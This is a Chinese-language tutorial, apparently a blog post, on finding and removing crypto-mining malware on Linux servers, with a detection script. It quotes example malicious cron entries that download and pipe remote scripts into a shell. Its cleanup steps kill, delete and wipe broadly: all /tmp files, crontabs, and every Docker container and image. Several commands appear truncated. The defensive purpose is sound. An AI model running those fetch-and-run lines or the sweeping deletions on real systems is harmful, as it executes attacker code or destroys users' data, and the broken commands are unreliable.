Linux 服务器被挖矿木马实战排查
📌 目录
-
挖矿木马为什么喜欢 Linux?
-
被感染的常见症状(对照检查)
-
最全排查流程:CPU → 进程 → 网络 → 定时任务 → 文件 → 内核
-
一步步找出挖矿木马的藏身处(全命令示例)
-
常见挖矿木马家族与特征分析
-
如何安全清除木马(含一键脚本)
-
事后取证:它是怎么进来的?
-
服务器加固方案(生产可用)
-
附录:实战检测脚本(可直接执行)
🚀 1. 为什么挖矿木马偏爱 Linux?
挖矿木马(crypto miner malware)近年来大规模爆发,尤其在 Linux 服务器上。原因是:
-
Linux 服务器普遍 长期在线、CPU 居多核、带宽稳定
-
很多开发者只关注业务,忽视服务器安全
-
许多 Web 框架默认配置不安全
-
Redis、MongoDB、Nginx、Docker 常出现弱配置
-
SSH 弱密码暴力破解非常常见(每天几千次)
挖矿木马目标简单直接:
占用你的 CPU/GPU 挖门罗币(Monero)。
⚠️ 2. 被挖矿木马感染的典型症状(自查表)
| 症状 | 说明 |
|---|---|
| CPU 使用率持续 70%~100% | top、htop 一直飙高 |
| 机器风扇狂转 / 温度升高 | 大量计算任务 |
出现陌生进程,如 kdevtmpfsi、kinsing | 常见挖矿进程 |
ss -antp 出现未知连接 | 木马连接矿池 |
/tmp 出现 ELF 可执行文件 | 临时目录常被滥用 |
| curl/wget 异常流量 | 持续下载任务 |
| crontab 出现陌生定时任务 | 木马自动拉起 |
| 用户家目录出现奇怪脚本 | .bashrc 或 .profile 被篡改 |
🕵️ 3. Linux 挖矿木马排查总流程(生产级)
结构如下:
CPU 异常 → 查可疑进程 → 查网络连接 → 查文件位置 → 查反弹脚本 → 查定时任务 → 查启动项 → 查容器/弱口令 → 清理 → 加固
我们按顺序操作。
🔍 4. 实战排查:一步步抓出挖矿木马
下面是最常用、最有效的一整套命令流程。
🧩 4.1 CPU 使用率异常
top -o %CPU
如果看到:
-
kdevtmpfsi -
kworker/... -
systemd-network -
xms -
aliyun-service -
/tmp/.X11-unix/*
基本就是挖矿木马伪装。
🧩 4.2 查看真实启动命令
挖矿木马通常会隐藏进程名,但隐藏不了执行文件路径:
ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | head
关键:
-
是否在
/tmp -
是否在
/var/tmp -
是否在
/dev/shm -
是否是 ELF 文件
要查看真实路径:
ls -l /proc//exe
出现类似:
/proc/1234/exe -> /tmp/.kswapd
直接判定为挖矿行为。
🧩 4.3 网络连接(追踪矿池)
检查连接:
ss -antp
若看到:
:::3333 :4444 :7777
这些是常用 Monero 挖矿端口。
追踪指向 IP:
lsof -i -n -P | grep -E "3333|4444|7777"
🧩 4.4 检查文件落点(木马藏身处)
常见目录:
/tmp /var/tmp /dev/shm /run/lock /etc/cron.hourly /etc/systemd/system
快速查 ELF:
find /tmp /var/tmp /dev/shm -type f -exec file {} ; | grep ELF
如果出现:
/tmp/.dns: ELF 64-bit LSB executable
即可锁定。
🧩 4.5 检查定时任务(木马会自动重启)
用户级 crontab
crontab -l
系统级 crontab
cat /etc/crontab ls /etc/cron.*
典型恶意任务:
* * * * * curl http://x.x.x.x/shell.sh | sh */10 * * * * wget -q -O- http://malware.com/run | bash
删掉即可。
🧩 4.6 检查启动项(systemd)
systemctl | grep -v ".service" systemctl status suspicious.service
挖矿马会创建:
kdevtmpfsi.service sys-update.service sys-monitor.service
删除:
systemctl disable --now xxx.service rm /etc/systemd/system/xxx.service
🧩 4.7 检查 rootkit(深度感染)
chkrootkit rkhunter -c
如果某些系统文件被篡改,需要进一步隔离处理。
🧩 4.8 Docker 环境特别危险(Kinsing 专门打容器)
docker ps -a docker images docker logs
Kinsing 特征:
-
镜像名奇怪,例如
alpine:latest但内容异常 -
容器100% CPU
-
可疑文件
/var/lib/docker/overlay2/*/merged/tmp/kdevtmpfsi
强制删除:
docker stop&& docker rm
🧨 5. 常见挖矿木马家族分析(工程师常见)
⛏ (1) Kinsing 木马
-
主要攻击 Docker 弱配置
-
隐藏 ELF
/tmp/kdevtmpfsi -
在 crontab 留后门
-
持续向矿池发包
⛏ (2) XMRig 改造矿工
-
最大最常见
-
多为定制版:无输出、无日志
-
常驻
/dev/shm/*
⛏ (3) ShellBot
-
通过 SSH 弱密码进来
-
会执行
curl x.xx.xx.xx/bot.sh | sh
⛏ (4) Sysrv
-
会创建假 systemd 服务
-
并且关闭安全功能
🧹 6. 如何彻底清除挖矿木马(含脚本)
清除流程:
-
杀进程
-
删除 ELF 文件
-
删除定时任务
-
删除 systemd 服务
-
改密码、防爆破
-
查用户
-
重启再确认
🧹 6.1 一键杀死高 CPU 可疑进程
ps aux | awk '$3>50 {print $2}' | xargs kill -9
🧹 6.2 删除木马文件
rm -f /tmp/* /var/tmp/* /dev/shm/*
如怕误删,可先打印:
find /tmp -type f -exec file {} ; | grep ELF
🧹 6.3 清除 crontab
crontab -r sed -i '/curl|wget|miner|xmr/d' /etc/crontab
🧹 6.4 删除 systemd 后门
systemctl disable --now kdevtmpfsi.service rm /etc/systemd/system/kdevtmpfsi.service
🧹 6.5 检查 SSH 弱密码
编辑 SSH 配置:
vi /etc/ssh/sshd_config
修改:
PasswordAuthentication no PermitRootLogin no
如果必须密码登录 → 强制设置复杂密码:
passwd root
🧹 6.6 清除 Docker 中的木马
docker stop $(docker ps -aq) docker rm $(docker ps -aq) docker rmi $(docker images -q)
🧹 6.7 重启服务器
reboot
🔐 7. 事后取证:它是如何进来的?
必须查清入口,否则会再次感染。
检查 ssh 日志:
grep "Failed password" /var/log/auth.log | head
检查暴力破解次数:
grep "Invalid user" /var/log/auth.log | wc -l
检查 Redis 未授权漏洞:
redis-cli ping
如果能进说明存在高危漏洞。
检查 Docker 暴露端口:
docker ps --format '{{.Ports}}'
🏰 8. Linux 服务器加固方案(生产可用)
🔒 8.1 SSH 加固
-
禁止 root 登录
-
禁止密码登录,改为公钥
-
22 改为随机端口
-
fail2ban 自动封禁爆破 IP
🔒 8.2 Web 服务加固
-
Nginx 关闭目录浏览
-
Redis 设置密码 + bind local
-
MongoDB 禁止公网访问
🔒 8.3 Docker 加固
-
禁止 0.0.0.0:2375
-
不要使用来源不明的镜像
-
定期扫描镜像
🔒 8.4 系统加固
-
SELinux/AppArmor 开启
-
删除不用的用户
-
更新系统补丁
📜 9. 实战一键检测脚本(可直接运行)
创建脚本:
nano miner_scan.sh
写入:
#!/bin/bash
echo "🔍 CPU 异常进程:"
ps -eo pid,cmd,%cpu --sort=-%cpu | head
echo "🔍 可疑 ELF 文件:"
/usr/bin/find /tmp /var/tmp /dev/shm -type f -exec file {} ; | grep ELF
echo "🔍 网络连接:"
ss -antp | grep -E "3333|4444|5555|7777"
echo "🔍 定时任务:"
crontab -l 2>/dev/null
echo "🔍 systemd Suspicious services:"
ls /etc/systemd/system | grep -E "tmp|sys|kd"
赋权:
chmod +x miner_scan.sh
运行:
./miner_scan.sh
🎯 结语:如何确保不再感染?
服务器安全不是一次性工作,而是持续的硬件。
牢记三句话:
-
弱密码是所有挖矿木马的入口。
-
暴露端口比漏洞更危险。
-
Docker 与 Redis 是攻击者最喜欢的工具。








